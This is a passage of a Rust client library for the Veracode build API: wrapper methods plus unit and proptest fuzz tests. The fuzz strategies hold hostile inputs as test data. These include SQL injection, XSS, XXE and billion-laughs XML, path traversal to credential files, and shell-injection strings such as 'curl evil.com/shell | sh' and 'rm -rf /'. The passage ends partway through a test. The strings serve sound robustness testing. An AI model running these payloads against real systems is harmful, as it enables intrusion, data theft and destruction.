1097    /// or the operation is rejected by the Veracode platform.
1098    pub async fn create_sandbox_build(
1099        &self,
1100        app_id: &str,
1101        sandbox_id: &str,
1102        version: Option<&str>,
1103    ) -> Result<Build, BuildError> {
1104        let request = CreateBuildRequest {
1105            app_id: app_id.to_string(),
1106            version: version.map(str::to_string),
1107            lifecycle_stage: None,
1108            launch_date: None,
1109            sandbox_id: Some(sandbox_id.to_string()),
1110        };
1111
1112        self.create_build(&request).await
1113    }
1114
1115    /// Delete the most recent application build
1116    ///
1117    /// # Arguments
1118    ///
1119    /// * `app_id` - Application ID
1120    ///
1121    /// # Returns
1122    ///
1123    /// A `Result` containing the deletion result or an error.
1124    ///
1125    /// # Errors
1126    ///
1127    /// Returns an error if the API request fails, authentication fails,
1128    /// or the operation is rejected by the Veracode platform.
1129    pub async fn delete_app_build(&self, app_id: &str) -> Result<DeleteBuildResult, BuildError> {
1130        let request = DeleteBuildRequest {
1131            app_id: app_id.to_string(),
1132            sandbox_id: None,
1133        };
1134
1135        self.delete_build(&request).await
1136    }
1137
1138    /// Delete the most recent sandbox build
1139    ///
1140    /// # Arguments
1141    ///
1142    /// * `app_id` - Application ID
1143    /// * `sandbox_id` - Sandbox ID
1144    ///
1145    /// # Returns
1146    ///
1147    /// A `Result` containing the deletion result or an error.
1148    ///
1149    /// # Errors
1150    ///
1151    /// Returns an error if the API request fails, authentication fails,
1152    /// or the operation is rejected by the Veracode platform.
1153    pub async fn delete_sandbox_build(
1154        &self,
1155        app_id: &str,
1156        sandbox_id: &str,
1157    ) -> Result<DeleteBuildResult, BuildError> {
1158        let request = DeleteBuildRequest {
1159            app_id: app_id.to_string(),
1160            sandbox_id: Some(sandbox_id.to_string()),
1161        };
1162
1163        self.delete_build(&request).await
1164    }
1165
1166    /// Get the most recent build info for an application
1167    ///
1168    /// # Arguments
1169    ///
1170    /// * `app_id` - Application ID
1171    ///
1172    /// # Returns
1173    ///
1174    /// A `Result` containing the build information or an error.
1175    ///
1176    /// # Errors
1177    ///
1178    /// Returns an error if the API request fails, authentication fails,
1179    /// or the operation is rejected by the Veracode platform.
1180    pub async fn get_app_build_info(&self, app_id: &str) -> Result<Build, BuildError> {
1181        let request = GetBuildInfoRequest {
1182            app_id: app_id.to_string(),
1183            build_id: None,
1184            sandbox_id: None,
1185        };
1186
1187        self.get_build_info(&request).await
1188    }
1189
1190    /// Get build info for a specific sandbox
1191    ///
1192    /// # Arguments
1193    ///
1194    /// * `app_id` - Application ID
1195    /// * `sandbox_id` - Sandbox ID
1196    ///
1197    /// # Returns
1198    ///
1199    /// A `Result` containing the build information or an error.
1200    ///
1201    /// # Errors
1202    ///
1203    /// Returns an error if the API request fails, authentication fails,
1204    /// or the operation is rejected by the Veracode platform.
1205    pub async fn get_sandbox_build_info(
1206        &self,
1207        app_id: &str,
1208        sandbox_id: &str,
1209    ) -> Result<Build, BuildError> {
1210        let request = GetBuildInfoRequest {
1211            app_id: app_id.to_string(),
1212            build_id: None,
1213            sandbox_id: Some(sandbox_id.to_string()),
1214        };
1215
1216        self.get_build_info(&request).await
1217    }
1218
1219    /// Get list of all builds for an application
1220    ///
1221    /// # Arguments
1222    ///
1223    /// * `app_id` - Application ID
1224    ///
1225    /// # Returns
1226    ///
1227    /// A `Result` containing the build list or an error.
1228    ///
1229    /// # Errors
1230    ///
1231    /// Returns an error if the API request fails, authentication fails,
1232    /// or the operation is rejected by the Veracode platform.
1233    pub async fn get_app_builds(&self, app_id: &str) -> Result<BuildList, BuildError> {
1234        let request = GetBuildListRequest {
1235            app_id: app_id.to_string(),
1236            sandbox_id: None,
1237        };
1238
1239        self.get_build_list(&request).await
1240    }
1241
1242    /// Get list of builds for a sandbox
1243    ///
1244    /// # Arguments
1245    ///
1246    /// * `app_id` - Application ID
1247    /// * `sandbox_id` - Sandbox ID
1248    ///
1249    /// # Returns
1250    ///
1251    /// A `Result` containing the build list or an error.
1252    ///
1253    /// # Errors
1254    ///
1255    /// Returns an error if the API request fails, authentication fails,
1256    /// or the operation is rejected by the Veracode platform.
1257    pub async fn get_sandbox_builds(
1258        &self,
1259        app_id: &str,
1260        sandbox_id: &str,
1261    ) -> Result<BuildList, BuildError> {
1262        let request = GetBuildListRequest {
1263            app_id: app_id.to_string(),
1264            sandbox_id: Some(sandbox_id.to_string()),
1265        };
1266
1267        self.get_build_list(&request).await
1268    }
1269}
1270
1271#[cfg(test)]
1272mod tests {
1273    use super::*;
1274    use crate::VeracodeConfig;
1275
1276    #[test]
1277    fn test_create_build_request() {
1278        let request = CreateBuildRequest {
1279            app_id: "123".to_string(),
1280            version: Some("1.0.0".to_string()),
1281            lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1282            launch_date: Some("12/31/2024".to_string()),
1283            sandbox_id: None,
1284        };
1285
1286        assert_eq!(request.app_id, "123");
1287        assert_eq!(request.version, Some("1.0.0".to_string()));
1288        assert_eq!(
1289            request.lifecycle_stage,
1290            Some("In Development (pre-Alpha)".to_string())
1291        );
1292    }
1293
1294    #[test]
1295    fn test_update_build_request() {
1296        let request = UpdateBuildRequest {
1297            app_id: "123".to_string(),
1298            build_id: Some("456".to_string()),
1299            version: Some("1.1.0".to_string()),
1300            lifecycle_stage: Some("Internal or Alpha Testing".to_string()),
1301            launch_date: None,
1302            sandbox_id: Some("789".to_string()),
1303        };
1304
1305        assert_eq!(request.app_id, "123");
1306        assert_eq!(request.build_id, Some("456".to_string()));
1307        assert_eq!(request.sandbox_id, Some("789".to_string()));
1308    }
1309
1310    #[test]
1311    fn test_lifecycle_stage_validation() {
1312        // Test valid lifecycle stages
1313        assert!(is_valid_lifecycle_stage("In Development (pre-Alpha)"));
1314        assert!(is_valid_lifecycle_stage("Internal or Alpha Testing"));
1315        assert!(is_valid_lifecycle_stage("External or Beta Testing"));
1316        assert!(is_valid_lifecycle_stage("Deployed"));
1317        assert!(is_valid_lifecycle_stage("Maintenance"));
1318        assert!(is_valid_lifecycle_stage("Cannot Disclose"));
1319        assert!(is_valid_lifecycle_stage("Not Specified"));
1320
1321        // Test invalid lifecycle stages
1322        assert!(!is_valid_lifecycle_stage("In Development"));
1323        assert!(!is_valid_lifecycle_stage("Development"));
1324        assert!(!is_valid_lifecycle_stage("QA"));
1325        assert!(!is_valid_lifecycle_stage("Production"));
1326        assert!(!is_valid_lifecycle_stage(""));
1327
1328        // Test default
1329        assert_eq!(default_lifecycle_stage(), "In Development (pre-Alpha)");
1330        assert!(is_valid_lifecycle_stage(default_lifecycle_stage()));
1331    }
1332
1333    #[test]
1334    fn test_build_error_display() {
1335        let error = BuildError::BuildNotFound;
1336        assert_eq!(error.to_string(), "Build not found");
1337
1338        let error = BuildError::InvalidParameter("Invalid app_id".to_string());
1339        assert_eq!(error.to_string(), "Invalid parameter: Invalid app_id");
1340
1341        let error = BuildError::CreationFailed("Build creation failed".to_string());
1342        assert_eq!(
1343            error.to_string(),
1344            "Build creation failed: Build creation failed"
1345        );
1346    }
1347
1348    #[tokio::test]
1349    async fn test_build_api_method_signatures() {
1350        async fn _test_build_methods() -> Result<(), Box<dyn std::error::Error>> {
1351            let config = VeracodeConfig::new("test", "test");
1352            let client = VeracodeClient::new(config)?;
1353            let api = client.build_api()?;
1354
1355            // Test that the method signatures exist and compile
1356            let create_request = CreateBuildRequest {
1357                app_id: "123".to_string(),
1358                version: None,
1359                lifecycle_stage: None,
1360                launch_date: None,
1361                sandbox_id: None,
1362            };
1363
1364            // These calls won't actually execute due to test environment,
1365            // but they validate the method signatures exist
1366            let _: Result<Build, _> = api.create_build(&create_request).await;
1367            let _: Result<Build, _> = api.create_simple_build("123", None).await;
1368            let _: Result<Build, _> = api.create_sandbox_build("123", "456", None).await;
1369            let _: Result<DeleteBuildResult, _> = api.delete_app_build("123").await;
1370            let _: Result<Build, _> = api.get_app_build_info("123").await;
1371            let _: Result<BuildList, _> = api.get_app_builds("123").await;
1372
1373            Ok(())
1374        }
1375
1376        // If this compiles, the methods have correct signatures
1377        // Test passes if no panic occurs
1378    }
1379
1380    #[test]
1381    fn test_build_status_from_str() {
1382        assert_eq!(
1383            BuildStatus::from_string("Incomplete"),
1384            BuildStatus::Incomplete
1385        );
1386        assert_eq!(
1387            BuildStatus::from_string("Results Ready"),
1388            BuildStatus::ResultsReady
1389        );
1390        assert_eq!(
1391            BuildStatus::from_string("Pre-Scan Failed"),
1392            BuildStatus::PreScanFailed
1393        );
1394        assert_eq!(
1395            BuildStatus::from_string("Unknown Status"),
1396            BuildStatus::Unknown("Unknown Status".to_string())
1397        );
1398    }
1399
1400    #[test]
1401    fn test_build_status_to_str() {
1402        assert_eq!(BuildStatus::Incomplete.to_str(), "Incomplete");
1403        assert_eq!(BuildStatus::ResultsReady.to_str(), "Results Ready");
1404        assert_eq!(BuildStatus::PreScanFailed.to_str(), "Pre-Scan Failed");
1405        assert_eq!(
1406            BuildStatus::Unknown("Custom".to_string()).to_str(),
1407            "Custom"
1408        );
1409    }
1410
1411    #[test]
1412    fn test_build_status_deletion_policy_0() {
1413        // Policy 0: Never delete builds
1414        assert!(!BuildStatus::Incomplete.is_safe_to_delete(0));
1415        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(0));
1416        assert!(!BuildStatus::Failed.is_safe_to_delete(0));
1417    }
1418
1419    #[test]
1420    fn test_build_status_deletion_policy_1() {
1421        // Policy 1: Delete only safe builds (incomplete, failed, cancelled states)
1422        assert!(BuildStatus::Incomplete.is_safe_to_delete(1));
1423        assert!(BuildStatus::NotSubmitted.is_safe_to_delete(1));
1424        assert!(BuildStatus::PreScanFailed.is_safe_to_delete(1));
1425        assert!(BuildStatus::Failed.is_safe_to_delete(1));
1426        assert!(BuildStatus::Cancelled.is_safe_to_delete(1));
1427
1428        // Should not delete active or successful builds
1429        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(1));
1430        assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
1431        assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
1432    }
1433
1434    #[test]
1435    fn test_build_status_deletion_policy_2() {
1436        // Policy 2: Delete any build except Results Ready
1437        assert!(BuildStatus::Incomplete.is_safe_to_delete(2));
1438        assert!(BuildStatus::Failed.is_safe_to_delete(2));
1439        assert!(BuildStatus::ScanInProcess.is_safe_to_delete(2));
1440        assert!(BuildStatus::PreScanSuccess.is_safe_to_delete(2));
1441
1442        // Should not delete Results Ready
1443        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
1444    }
1445
1446    #[test]
1447    fn test_build_status_deletion_policy_invalid() {
1448        // Invalid policy should default to never delete
1449        assert!(!BuildStatus::Incomplete.is_safe_to_delete(3));
1450        assert!(!BuildStatus::Failed.is_safe_to_delete(255));
1451    }
1452}
1453
1454#[cfg(test)]
1455#[allow(clippy::expect_used)] // Test code: expect is acceptable for test setup
1456mod proptests {
1457    use super::*;
1458    use proptest::prelude::*;
1459
1460    // Strategy for generating arbitrary build status strings
1461    fn arbitrary_status_string() -> impl Strategy<Value = String> {
1462        prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
1463            .expect("valid regex pattern for arbitrary status string")
1464    }
1465
1466    // Strategy for generating valid lifecycle stages
1467    fn valid_lifecycle_stage_strategy() -> impl Strategy<Value = &'static str> {
1468        prop::sample::select(LIFECYCLE_STAGES)
1469    }
1470
1471    // Strategy for generating invalid lifecycle stages (fuzzing)
1472    fn invalid_lifecycle_stage_strategy() -> impl Strategy<Value = String> {
1473        prop_oneof![
1474            // Empty or whitespace
1475            Just("".to_string()),
1476            Just("   ".to_string()),
1477            // Case variations of valid stages (should fail - case sensitive)
1478            Just("in development (pre-alpha)".to_string()),
1479            Just("DEPLOYED".to_string()),
1480            // Partial matches
1481            Just("In Development".to_string()),
1482            Just("Deployed ".to_string()),
1483            Just(" Maintenance".to_string()),
1484            // SQL/XSS injection attempts
1485            Just("'; DROP TABLE builds; --".to_string()),
1486            Just("<script>alert('xss')</script>".to_string()),
1487            // Path traversal
1488            Just("../../etc/passwd".to_string()),
1489            Just("..\\..\\windows\\system32".to_string()),
1490            // Control characters
1491            Just("Deployed\0".to_string()),
1492            Just("Maintenance\n\r".to_string()),
1493            // Unicode attacks
1494            Just("Deployed\u{202E}".to_string()), // Right-to-left override
1495            Just("Maintenance\u{FEFF}".to_string()), // Zero-width no-break space
1496            // Very long strings
1497            prop::string::string_regex(".{256,512}").expect("valid regex pattern for long strings"),
1498        ]
1499    }
1500
1501    proptest! {
1502        #![proptest_config(ProptestConfig {
1503            cases: if cfg!(miri) { 5 } else { 1000 },
1504            failure_persistence: None,
1505            .. ProptestConfig::default()
1506        })]
1507
1508        /// Property: All valid lifecycle stages must be accepted
1509        #[test]
1510        fn proptest_valid_lifecycle_stages_always_accepted(
1511            stage in valid_lifecycle_stage_strategy()
1512        ) {
1513            prop_assert!(is_valid_lifecycle_stage(stage));
1514        }
1515
1516        /// Property: Invalid lifecycle stages must always be rejected
1517        #[test]
1518        fn proptest_invalid_lifecycle_stages_always_rejected(
1519            stage in invalid_lifecycle_stage_strategy()
1520        ) {
1521            prop_assert!(!is_valid_lifecycle_stage(&stage));
1522        }
1523
1524        /// Property: BuildStatus parsing must never panic on arbitrary input
1525        #[test]
1526        fn proptest_build_status_parsing_never_panics(
1527            status in arbitrary_status_string()
1528        ) {
1529            let result = BuildStatus::from_string(&status);
1530            // Must always produce a result (never panic)
1531            prop_assert!(matches!(result, BuildStatus::Unknown(_)) ||
1532                        matches!(result, BuildStatus::Incomplete) ||
1533                        matches!(result, BuildStatus::NotSubmitted) ||
1534                        matches!(result, BuildStatus::SubmittedToEngine) ||
1535                        matches!(result, BuildStatus::ScanInProcess) ||
1536                        matches!(result, BuildStatus::PreScanSubmitted) ||
1537                        matches!(result, BuildStatus::PreScanSuccess) ||
1538                        matches!(result, BuildStatus::PreScanFailed) ||
1539                        matches!(result, BuildStatus::PreScanCancelled) ||
1540                        matches!(result, BuildStatus::PrescanFailed) ||
1541                        matches!(result, BuildStatus::PrescanCancelled) ||
1542                        matches!(result, BuildStatus::ScanCancelled) ||
1543                        matches!(result, BuildStatus::ResultsReady) ||
1544                        matches!(result, BuildStatus::Failed) ||
1545                        matches!(result, BuildStatus::Cancelled));
1546        }
1547
1548        /// Property: BuildStatus roundtrip (from_string -> to_str) must be consistent for known statuses
1549        #[test]
1550        fn proptest_build_status_roundtrip_consistency(
1551            status in prop::sample::select(vec![
1552                "Incomplete", "Not Submitted", "Submitted to Engine", "Scan in Process",
1553                "Pre-Scan Submitted", "Pre-Scan Success", "Pre-Scan Failed", "Pre-Scan Cancelled",
1554                "Prescan Failed", "Prescan Cancelled", "Scan Cancelled", "Results Ready",
1555                "Failed", "Cancelled"
1556            ])
1557        ) {
1558            let parsed = BuildStatus::from_string(status);
1559            let back_to_str = parsed.to_str();
1560            prop_assert_eq!(back_to_str, status);
1561        }
1562
1563        /// Property: Deletion policy 0 must NEVER allow deletion (safety critical)
1564        #[test]
1565        fn proptest_deletion_policy_0_never_deletes(
1566            status in arbitrary_status_string()
1567        ) {
1568            let build_status = BuildStatus::from_string(&status);
1569            prop_assert!(!build_status.is_safe_to_delete(0));
1570        }
1571
1572        /// Property: Deletion policy must be monotonic (higher policy = more permissive)
1573        #[test]
1574        fn proptest_deletion_policy_monotonicity(
1575            status in arbitrary_status_string(),
1576            policy1 in 0u8..=2,
1577            policy2 in 0u8..=2
1578        ) {
1579            let build_status = BuildStatus::from_string(&status);
1580
1581            // If policy1 allows deletion, policy2 (if higher) should also allow it
1582            if policy1 <= policy2 && build_status.is_safe_to_delete(policy1) {
1583                prop_assert!(build_status.is_safe_to_delete(policy2));
1584            }
1585        }
1586
1587        /// Property: Results Ready builds must NEVER be deletable under any valid policy
1588        #[test]
1589        fn proptest_results_ready_never_deletable(policy in 0u8..=2) {
1590            prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(policy));
1591        }
1592
1593        /// Property: Invalid policies (>2) must default to safe (never delete)
1594        #[test]
1595        fn proptest_invalid_deletion_policy_safe_default(
1596            status in arbitrary_status_string(),
1597            policy in 3u8..=255
1598        ) {
1599            let build_status = BuildStatus::from_string(&status);
1600            prop_assert!(!build_status.is_safe_to_delete(policy));
1601        }
1602
1603        /// Property: Lifecycle stage validation must be consistent
1604        #[test]
1605        fn proptest_lifecycle_stage_validation_consistency(
1606            stage in prop::string::string_regex(".{0,200}")
1607                .expect("valid regex pattern for lifecycle stage")
1608        ) {
1609            let is_valid = is_valid_lifecycle_stage(&stage);
1610
1611            // If valid, must be in LIFECYCLE_STAGES array
1612            if is_valid {
1613                prop_assert!(LIFECYCLE_STAGES.contains(&stage.as_str()));
1614            }
1615
1616            // If not in array, must be invalid
1617            if !LIFECYCLE_STAGES.contains(&stage.as_str()) {
1618                prop_assert!(!is_valid);
1619            }
1620        }
1621    }
1622}
1623
1624#[cfg(test)]
1625mod api_request_fuzzing_proptests {
1626    use super::*;
1627    use proptest::prelude::*;
1628
1629    // Strategy for generating arbitrary app IDs with malicious patterns
1630    fn malicious_app_id_strategy() -> impl Strategy<Value = String> {
1631        prop_oneof![
1632            // SQL injection patterns
1633            Just("'; DROP TABLE apps; --".to_string()),
1634            Just("' OR '1'='1".to_string()),
1635            Just("1 UNION SELECT * FROM users--".to_string()),
1636            // XSS patterns
1637            Just("<script>alert('xss')</script>".to_string()),
1638            Just("javascript:alert(1)".to_string()),
1639            Just("\"><script>alert(String.fromCharCode(88,83,83))</script>".to_string()),
1640            // Path traversal
1641            Just("../../../etc/passwd".to_string()),
1642            Just("..\\..\\..\\windows\\system32\\config\\sam".to_string()),
1643            // Command injection
1644            Just("; rm -rf /".to_string()),
1645            Just("| cat /etc/shadow".to_string()),
1646            Just("& net user hacker password /add".to_string()),
1647            // Null byte injection
1648            Just("123\0malicious".to_string()),
1649            // Format string attacks
1650            Just("%s%s%s%s%s%s%s%s%s%s".to_string()),
1651            Just("%n%n%n%n%n".to_string()),
1652            // LDAP injection
1653            Just("*)(uid=*))(|(uid=*".to_string()),
1654            // NoSQL injection
1655            Just("{\"$ne\": null}".to_string()),
1656            Just("{\"$gt\": \"\"}".to_string()),
1657            // Empty/whitespace
1658            Just("".to_string()),
1659            Just("   ".to_string()),
1660            // Very long strings (DoS)
1661            prop::string::string_regex(".{1000,5000}")
1662                .expect("valid regex pattern for very long strings"),
1663            // Unicode normalization attacks
1664            Just("\u{FEFF}123".to_string()), // Zero-width no-break space
1665            Just("123\u{200B}".to_string()), // Zero-width space
1666            Just("\u{202E}123\u{202D}".to_string()), // Right-to-left override
1667            // Control characters
1668            Just("123\r\n456".to_string()),
1669            Just("123\t456\n789".to_string()),
1670        ]
1671    }
1672
1673    // Strategy for malicious version strings
1674    fn malicious_version_strategy() -> impl Strategy<Value = String> {
1675        prop_oneof![
1676            // Path traversal in version
1677            Just("../../../etc/passwd".to_string()),
1678            Just("..\\..\\..\\windows\\system32".to_string()),
1679            // Command injection
1680            Just("1.0.0; curl evil.com/shell | sh".to_string()),
1681            Just("1.0`whoami`".to_string()),
1682            Just("1.0$(reboot)".to_string()),
1683            // XSS
1684            Just("<img src=x onerror=alert(1)>".to_string()),
1685            // Very long version strings
1686            prop::string::string_regex(".{500,1000}")
1687                .expect("valid regex pattern for long version strings"),
1688            // Special characters
1689            Just("\0\0\0".to_string()),
1690            Just("'\"\\n\\r\\t".to_string()),
1691            // Unicode attacks
1692            Just("\u{FEFF}1.0.0".to_string()),
1693        ]
1694    }
1695
1696    // Strategy for malicious date strings
1697    fn malicious_date_strategy() -> impl Strategy<Value = String> {
1698        prop_oneof![
1699            // Invalid date formats
1700            Just("2024-13-45".to_string()), // Invalid month/day
1701            Just("99/99/9999".to_string()),
1702            Just("00/00/0000".to_string()),
1703            // SQL injection
1704            Just("12/31/2024'; DROP TABLE dates; --".to_string()),
1705            // Format string
1706            Just("%s%s%s%s".to_string()),
1707            // Command injection
1708            Just("12/31/2024; cat /etc/passwd".to_string()),
1709            // Very long dates
1710            prop::string::string_regex(".{100,500}")
1711                .expect("valid regex pattern for long date strings"),
1712            // Negative values
1713            Just("-1/-1/-1".to_string()),
1714            // Integer overflow attempts
1715            Just("99999999/99999999/99999999".to_string()),
1716        ]
1717    }
1718
1719    proptest! {
1720        #![proptest_config(ProptestConfig {
1721            cases: if cfg!(miri) { 5 } else { 500 },
1722            failure_persistence: None,
1723            .. ProptestConfig::default()
1724        })]
1725
1726        /// Property: CreateBuildRequest construction never panics with malicious inputs
1727        #[test]
1728        fn proptest_create_build_request_malicious_input_safety(
1729            app_id in malicious_app_id_strategy(),
1730            version in malicious_version_strategy(),
1731            launch_date in malicious_date_strategy()
1732        ) {
1733            // Construction must never panic
1734            let request = CreateBuildRequest {
1735                app_id: app_id.clone(),
1736                version: Some(version.clone()),
1737                lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1738                launch_date: Some(launch_date.clone()),
1739                sandbox_id: None,
1740            };
1741
1742            // Verify fields stored correctly (no injection/corruption)
1743            prop_assert_eq!(request.app_id, app_id);
1744            prop_assert_eq!(request.version, Some(version));
1745            prop_assert_eq!(request.launch_date, Some(launch_date));
1746        }
1747
1748        /// Property: UpdateBuildRequest construction never panics with malicious inputs
1749        #[test]
1750        fn proptest_update_build_request_malicious_input_safety(
1751            app_id in malicious_app_id_strategy(),
1752            build_id in malicious_app_id_strategy(),
1753            version in malicious_version_strategy()
1754        ) {
1755            let request = UpdateBuildRequest {
1756                app_id: app_id.clone(),
1757                build_id: Some(build_id.clone()),
1758                version: Some(version.clone()),
1759                lifecycle_stage: None,
1760                launch_date: None,
1761                sandbox_id: None,
1762            };
1763
1764            prop_assert_eq!(request.app_id, app_id);
1765            prop_assert_eq!(request.build_id, Some(build_id));
1766            prop_assert_eq!(request.version, Some(version));
1767        }
1768
1769        /// Property: DeleteBuildRequest construction never panics with malicious inputs
1770        #[test]
1771        fn proptest_delete_build_request_malicious_input_safety(
1772            app_id in malicious_app_id_strategy(),
1773            sandbox_id in malicious_app_id_strategy()
1774        ) {
1775            let request = DeleteBuildRequest {
1776                app_id: app_id.clone(),
1777                sandbox_id: Some(sandbox_id.clone()),
1778            };
1779
1780            prop_assert_eq!(request.app_id, app_id);
1781            prop_assert_eq!(request.sandbox_id, Some(sandbox_id));
1782        }
1783
1784        /// Property: Lifecycle stage validation rejects malicious inputs
1785        #[test]
1786        fn proptest_lifecycle_stage_rejects_malicious_input(
1787            malicious_stage in prop_oneof![
1788                malicious_app_id_strategy(),
1789                malicious_version_strategy(),
1790                Just("'; DROP TABLE stages; --".to_string()),
1791                Just("<script>alert('xss')</script>".to_string()),
1792            ]
1793        ) {
1794            // Malicious stages must not be validated as correct
1795            // (unless by extreme chance they match a valid stage exactly)
1796            let is_valid = is_valid_lifecycle_stage(&malicious_stage);
1797
1798            if is_valid {
1799                // If somehow valid, must be in the whitelist
1800                prop_assert!(LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1801            } else {
1802                // Most malicious inputs should be rejected
1803                prop_assert!(!LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1804            }
1805        }
1806
1807        /// Property: Build structure handles malicious attributes safely
1808        #[test]
1809        fn proptest_build_structure_malicious_attributes(
1810            key in malicious_version_strategy(),
1811            value in malicious_app_id_strategy()
1812        ) {
1813            let mut build = Build {
1814                build_id: "123".to_string(),
1815                app_id: "456".to_string(),
1816                version: None,
1817                app_name: None,
1818                sandbox_id: None,
1819                sandbox_name: None,
1820                lifecycle_stage: None,
1821                launch_date: None,
1822                submitter: None,
1823                platform: None,
1824                analysis_unit: None,
1825                policy_name: None,
1826                policy_version: None,
1827                policy_compliance_status: None,
1828                rules_status: None,
1829                grace_period_expired: None,
1830                scan_overdue: None,
1831                policy_updated_date: None,
1832                legacy_scan_engine: None,
1833                attributes: HashMap::new(),
1834            };
1835
1836            // Inserting malicious attributes must not panic
1837            build.attributes.insert(key.clone(), value.clone());
1838
1839            // Verify stored correctly without corruption
1840            prop_assert_eq!(build.attributes.get(&key), Some(&value));
1841        }
1842
1843        /// Property: BuildError display never panics with malicious messages
1844        #[test]
1845        fn proptest_build_error_display_safety(
1846            msg in malicious_app_id_strategy()
1847        ) {
1848            let errors = vec![
1849                BuildError::InvalidParameter(msg.clone()),
1850                BuildError::CreationFailed(msg.clone()),
1851                BuildError::UpdateFailed(msg.clone()),
1852                BuildError::DeletionFailed(msg.clone()),
1853                BuildError::XmlParsingError(msg.clone()),
1854            ];
1855
1856            for error in errors {
1857                // Display must never panic
1858                let _ = error.to_string();
1859                let _ = format!("{error}");
1860            }
1861        }
1862
1863        /// Property: BuildStatus Unknown variant handles arbitrary strings safely
1864        #[test]
1865        fn proptest_build_status_unknown_variant_safety(
1866            arbitrary_status in malicious_app_id_strategy()
1867        ) {
1868            let status = BuildStatus::Unknown(arbitrary_status.clone());
1869
1870            // to_str must never panic
1871            let str_repr = status.to_str();
1872            prop_assert_eq!(str_repr, arbitrary_status.as_str());
1873
1874            // Display must never panic
1875            let _ = status.to_string();
1876            let _ = format!("{status}");
1877
1878            // Deletion safety must still work
1879            let _ = status.is_safe_to_delete(0);
1880            let _ = status.is_safe_to_delete(1);
1881            let _ = status.is_safe_to_delete(2);
1882        }
1883    }
1884}
1885
1886#[cfg(test)]
1887mod xml_parsing_proptests {
1888    use super::*;
1889    use crate::{VeracodeClient, VeracodeConfig};
1890    use proptest::prelude::*;
1891
1892    // Strategy for generating malicious XML payloads
1893    fn malicious_xml_strategy() -> impl Strategy<Value = String> {
1894        prop_oneof![
1895            // XML bomb (billion laughs attack) - simplified version
1896            Just(r#"<?xml version="1.0"?>
1897<!DOCTYPE lolz [
1898  <!ENTITY lol "lol">
1899  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1900]>
1901<build build_id="&lol2;" app_id="123"/>"#.to_string()),
1902
1903            // XXE (External Entity) injection
1904            Just(r#"<?xml version="1.0"?>
1905<!DOCTYPE build [
1906  <!ENTITY xxe SYSTEM "file:///etc/passwd">
1907]>
1908<build build_id="&xxe;" app_id="123"/>"#.to_string()),
1909
1910            // Malformed/unclosed tags
1911            Just("<build build_id=\"123\" app_id=\"456\"".to_string()),
1912            Just("<build build_id=\"123\"><invalid></build>".to_string()),
1913
1914            // XSS in attributes
1915            Just(r#"<build build_id="<script>alert('xss')</script>" app_id="123"/>"#.to_string()),
1916            Just(r#"<build build_id="123" version="&lt;script&gt;alert('xss')&lt;/script&gt;"/>"#.to_string()),
1917
1918            // SQL injection in attributes
1919            Just(r#"<build build_id="'; DROP TABLE builds; --" app_id="123"/>"#.to_string()),
1920
1921            // Path traversal in attributes
1922            Just(r#"<build build_id="../../etc/passwd" app_id="123"/>"#.to_string()),
1923
1924            // Control characters and null bytes
1925            Just("<build build_id=\"123\0\" app_id=\"456\"/>".to_string()),
1926            Just("<build build_id=\"123\r\n\" app_id=\"456\"/>".to_string()),
1927
1928            // Unicode attacks
1929            Just("<build build_id=\"123\u{202E}\" app_id=\"456\"/>".to_string()),
1930
1931            // Empty/missing required fields
1932            Just("<build/>".to_string()),
1933            Just("<build build_id=\"\"/>".to_string()),
1934            Just("<build app_id=\"\"/>".to_string()),
1935
1936            // Deeply nested XML
1937            Just("<a><b><c><d><e><f><g><h><i><j><build build_id=\"123\" app_id=\"456\"/></j></i></h></g></f></e></d></c></b></a>".to_string()),
1938
1939            // Very long attribute values
1940            prop::string::string_regex(".{1000,2000}")
1941                .expect("valid regex pattern for very long XML attributes")
1942                .prop_map(|s| format!(r#"<build build_id="{s}" app_id="123"/>"#)),
1943        ]
1944    }
1945
1946    proptest! {
1947        #![proptest_config(ProptestConfig {
1948            cases: if cfg!(miri) { 5 } else { 500 },
1949            failure_persistence: None,
1950            .. ProptestConfig::default()
1951        })]
1952
1953        /// Property: XML parsing must never panic on malicious input
1954        #[test]
1955        fn proptest_xml_parsing_never_panics_on_malicious_input(
1956            xml in malicious_xml_strategy()
1957        ) {
1958            let config = VeracodeConfig::new("test_id", "test_key");
1959            let client = VeracodeClient::new(config)
1960                .expect("valid test client configuration");
1961            let api = BuildApi::new(client);
1962
1963            // Should either parse successfully or return an error, never panic
1964            let result = api.parse_build_info(&xml);
1965            prop_assert!(result.is_ok() || result.is_err());
1966        }
1967
1968        /// Property: XML parsing with error elements must return proper errors
1969        #[test]
1970        fn proptest_xml_error_handling(
1971            error_msg in prop::string::string_regex(".{1,200}")
1972                .expect("valid regex pattern for error messages")
1973        ) {
1974            let xml = format!("<error>{error_msg}</error>");
1975            let config = VeracodeConfig::new("test_id", "test_key");
1976            let client = VeracodeClient::new(config)
1977                .expect("valid test client configuration");
1978            let api = BuildApi::new(client);
1979
1980            let result = api.parse_build_info(&xml);
1981
1982            // Must return an error for error elements
1983            prop_assert!(result.is_err());
1984        }
1985
1986        /// Property: Valid minimal XML must parse successfully
1987        /// Note: Uses opening/closing tags because parser doesn't handle self-closing <build/> in Event::Empty
1988        #[test]
1989        fn proptest_minimal_valid_xml_parsing(
1990            build_id in "[0-9]{1,10}",
1991            app_id in "[0-9]{1,10}"
1992        ) {
1993            let xml = format!(r#"<build build_id="{build_id}" app_id="{app_id}"></build>"#);
1994            let config = VeracodeConfig::new("test_id", "test_key");
1995            let client = VeracodeClient::new(config)
1996                .expect("valid test client configuration");
1997            let api = BuildApi::new(client);
1998
1999            let result = api.parse_build_info(&xml);
2000
2001            prop_assert!(result.is_ok());
2002            if let Ok(build) = result {
2003                prop_assert_eq!(build.build_id, build_id);
2004                prop_assert_eq!(build.app_id, app_id);
2005            }
2006        }
2007
2008        /// Property: Build list parsing must handle empty lists
2009        #[test]
2010        fn proptest_empty_build_list_parsing(
2011            app_id in "[0-9]{1,10}"
2012        ) {
